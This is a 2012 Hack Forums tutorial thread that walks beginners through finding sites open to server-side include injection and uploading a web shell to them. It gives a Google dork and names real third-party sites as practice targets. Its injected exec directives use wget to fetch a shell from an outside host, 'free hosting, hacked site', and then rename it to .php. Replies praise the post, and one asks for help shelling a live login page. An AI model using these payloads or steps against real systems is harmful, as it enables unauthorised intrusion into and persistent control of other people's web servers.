[TUTORIAL] Upload a shell via SSI injection [Noob Friendly]

[TUTORIAL] Upload a shell via SSI injection [Noob Friendly] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUTORIAL] Upload a shell via SSI injection [Noob Friendly] (/showthread.php?tid=2606283)

Pages: Pages 1 2 3 4 5 6 7

[TUTORIAL] Upload a shell via SSI injection [Noob Friendly] - HaxOr❤ - Jun 21, 2012

Hi guys! After so much questions about SSI injection i decided to make a tutorial on how to spawn a actuall shell.
So lets begin:

Things you will need:

1) Site vulnerable to SSI injection (I will be giving few dorks and few vulnerable sites to practice on)

2) Common sense.

What is SSI?

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Description Taken From: http://nightcode.weebly.com/ssi-injection.html

Chapter I - Finding a vulnerable site

I will provide few dorks for this tipe of injection.
Best dork i found is inurl:bin/Cklb/ but it gave about 863 results so not that usable.

Lets get to work shall we :P

Enter inurl:bin/Cklb/ in Google and go testing...

Chapter II - Testing a site

So when you used that dork and you opened one site now you must determine id the site is vulnerable to this type of injection.

Here are some command you can use:
Credits: Stewie™

Spoiler (Click to View)

Now take one of the commands and insert it in search boxes or login fields.
Mostly login fields are vulnerable but ther is some cases when search boxes are vulnerable.

NOTE: You most enter your command into both fields (If login are vulnerable!!)

I have my site for example:
http://dev.stockphotosamerica.com/bin/Cklb

Spoiler (Click to View)

And when insert any command:
Spoiler (Click to View)

[img]http://img843.imageshack.us/img843/6673/regionyo.png[/img]

[img]http://img4.imageshack.us/img4/8881/regionoq.png[/img]

Now we see that our command successfully executed and that our site is vulnerable....

Chapter III - Spawning a shell

So we have our vulnerable site and we are ready to upload a shell.
First of all you will need a .TXT of your favourite shell (Host it somewhere free hosting,hacked site or anything you got)

Now we must download it to our site like this:

Code 
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt" -->

So insert your site where your shell is hosted in the command and you are ready to go.

Now just paste it into the fields and press Login or Enter.

[img]http://img135.imageshack.us/img135/3338/regiontv.png[/img]

To see if your .TXT file downloaded execute the command we used before:

Code 
<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>

[img]http://img690.imageshack.us/img690/2006/regionwt.png[/img]

If you see that it downloaded successfully now you must rename it from .txt to .php!
You can use this command

Code 
[b]<!--[/b]#exec cmd="mv shell.txt shell.php" -->

You rename filenames what ever you need (Offcourse you will need to put your .TXT name first.)

My command:

Code 
[b]<!--[/b]#exec cmd="mv config1.txt config.php" -->

Now again list the files and try to find your file now.
If you did now just access it.

[img]http://img803.imageshack.us/img803/2275/regionr.png[/img]

[img]http://img407.imageshack.us/img407/1079/regionqn.png[/img]

[img]http://img339.imageshack.us/img339/3094/regioncw.png[/img]

That would be end of this tutorial.
I hope you learned something and do not rape sites with this
(Be smart and use them)

Dorks
Credits: Stewie™
Spoiler (Click to View)

Vulnerable site to practice on:
Credits: Dan
https://hackforums.net/showthread.php?tid=2603780

* - xx 0x0 xx - Jun 21, 2012

wow very nice and detailed and short tutorial i was hope to learn how to do it from long time :) thx alot brother

best regards
mats0o0o0

* - sl4sh3rz - Jun 21, 2012

thanks for sharing this ,,,your greate dude ^_^.. .. .. .. .. ..

* - N3p BoY - Jun 21, 2012

ya good tutorial bro :)
but very disappointed with you coz you kept me in a Ignore List

* - bad - Jun 21, 2012

Another great and HQ tutorial from ๖ۣۜΗ α x O r ♥ . You are the life of "Website and Forum Hacking" forum.

* - Verilog - Jun 21, 2012

Just bookmarked this tutorial, awesome 😉

* - Crysan - Jun 21, 2012

Good tutorial bra, just want to test it out and see how it works, I know now 1 more thing to do with XSS >D.

* - BeggFoMercy - Jun 21, 2012

Nice work my man , Keep it up <3 .. XD

* - Zhen. - Jun 21, 2012

As usual, always a great tut from my bro <3
Keep it up Hax0r :3

* - Prominent - Jun 21, 2012

All I can say is that I'm glad SSi is now more known in here. Well written tutorial <3

* - Th3PonyWizard - Jun 21, 2012

Nice tut. It's a shame that there's not that much vulns overall. Although, there's POST, USER AGENT, and COOKIE parameters, I wonder if the same might apply there~

* - DeathSh0t18 - Jun 21, 2012

Really helpful guide! Thank you. How long did it take you to write all this?

* - Team4o4 - Jun 21, 2012

Could someone help me? I have the shell on my server... I do the command 

Then I check the files but it is never there... What am I doing wrong?

* - Th3PonyWizard - Jun 21, 2012

(Jun 21, 2012 10:08 AM)KyleBoyer Wrote: Could someone help me? I have the shell on my server... I do the command 

Then I check the files but it is never there... What am I doing wrong?

Do

Instead. then, go to the folder the shell got installed, under pony.php.
:3

* - Team4o4 - Jun 21, 2012

I just tried that too... Maybe is it the website? http://www.getstock.com/user/login.shtml

Do you have MSN we could chat on?

On the post i got it said: To get a shell up, just wget the shellcode and make the output something such as "shell.txt".

So does that mean I need to do something differently?